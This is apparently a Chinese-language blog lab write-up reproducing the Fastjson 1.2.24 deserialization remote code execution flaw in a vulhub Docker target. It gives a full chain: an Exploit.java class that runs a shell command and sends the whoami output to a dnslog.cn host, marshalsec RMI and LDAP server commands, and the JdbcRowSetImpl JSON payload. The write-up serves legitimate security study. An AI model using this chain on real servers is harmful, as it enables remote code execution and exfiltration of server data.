前言
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
Fastjson1.2.24版本爆出了第一个反序列化漏洞。第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。
这篇博客先学习一下最初版本的反序列化,即1.2.24版本的Fastjson 反序列化漏洞。
漏洞原理:
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
原理解析:为了成功利用 Fastjson 1.2.47 RCE 反序列化漏洞,需要提前在 Kali 虚拟机中搭建 Web 服务器和 RMI 服务,随后当我们向 fastjson 服务器 POST 提交 POC 后,fastjson 服务器会访问远程 RMI 服务,RMI 再通过将请求重定向到 Web 服务器后下载存放在 Web服务器中的恶意 Java代码(已编译的反序列化类),从而成功实现远程命令执行
基础知识
反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
RMI是一种行为,指的是Java远程方法调用。
JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
ldap指轻量级目录访问协议。
存在java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。
在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
靶场环境
使用docker搭建的vulhub中的环境
查看docker搭建的漏洞环境的java版本
docker exec -it 对应的id号 /bin/bash
可以看到java版本为1.8.0_102,所以rmi和ldap两种利用方式应该都可以,下面我将使用两种方式复现此漏洞。
复现过程
1.查看docker搭建好的环境
2.在攻击机中安装java1.8,maven,安装方法自行百度,以下为安装好的截图
3.准备exp,命名为Exploit.java ,因为这是一个无回显的漏洞,这里我使用dnslog进行漏洞验证,在填写命令的地方放入在dnslog.cn获取的url
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.9ahmm5.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
这部分是要执行的命令,如果 命名被成功执行,dnslog.cn页面就会返回带着whoami执行结果的url
4.使用javac Exploit.java 将java文件编译为class文件
5.在class文件所在目录打开终端,使用python打开临时服务器
python2 -m SimpleHTTPServer 2266
服务启动后就可以使用ip加端口访问所在路径的文件
6.为了搭建RMI环境,需要下载marshalsec
使用mvn命令进行编译
mvn clean package –DskipTests
编译之后会生成target目录,里面的marshalsec-0.0.3-SNAPSHOT-all.jar文件就是我们所需要的
然后就直接在这个目录下打开终端,输入命令进行开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动python服务的ip):(启动python服务的端口)/#Exploit” 9999
7.使用burp在漏洞靶场抓包
发送到重放模块,并修改GET为POST,添加payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.115:9999/Exploit",
"autoCommit":true
}
}
8.发送数据包,在dnslog.cn页面点击Refresh Record ,发现结果已经返回回来了,root就是我们输入的命令whoami返回的结果,漏洞复现完成
9.不对,还有一种利用方式是用ldap服务进行利用。
那就再来一次:
前五布不变,第六步我们改为启动ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.1.115:2266/#Exploit” 9999
最后的payload改为
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.115:9999/Exploit",
"autoCommit":true
}
}
发送数据包
命令同样执行成功
参考资料
https://www.cnblogs.com/xiaozhi789/articles/15918262.html
https://www.jianshu.com/p/35b84eda9292?utm_campaign=haruki
参考视频
https://www.bilibili.com/video/BV1Ab4y1d7w1?spm_id_from=333.1007.top_right_bar_window_history.content.click(原理讲的很详细)
https://www.bilibili.com/video/BV1N54y1W7iR?spm_id_from=333.788.top_right_bar_window_history.content.click(五分钟复现完成,过程很清晰)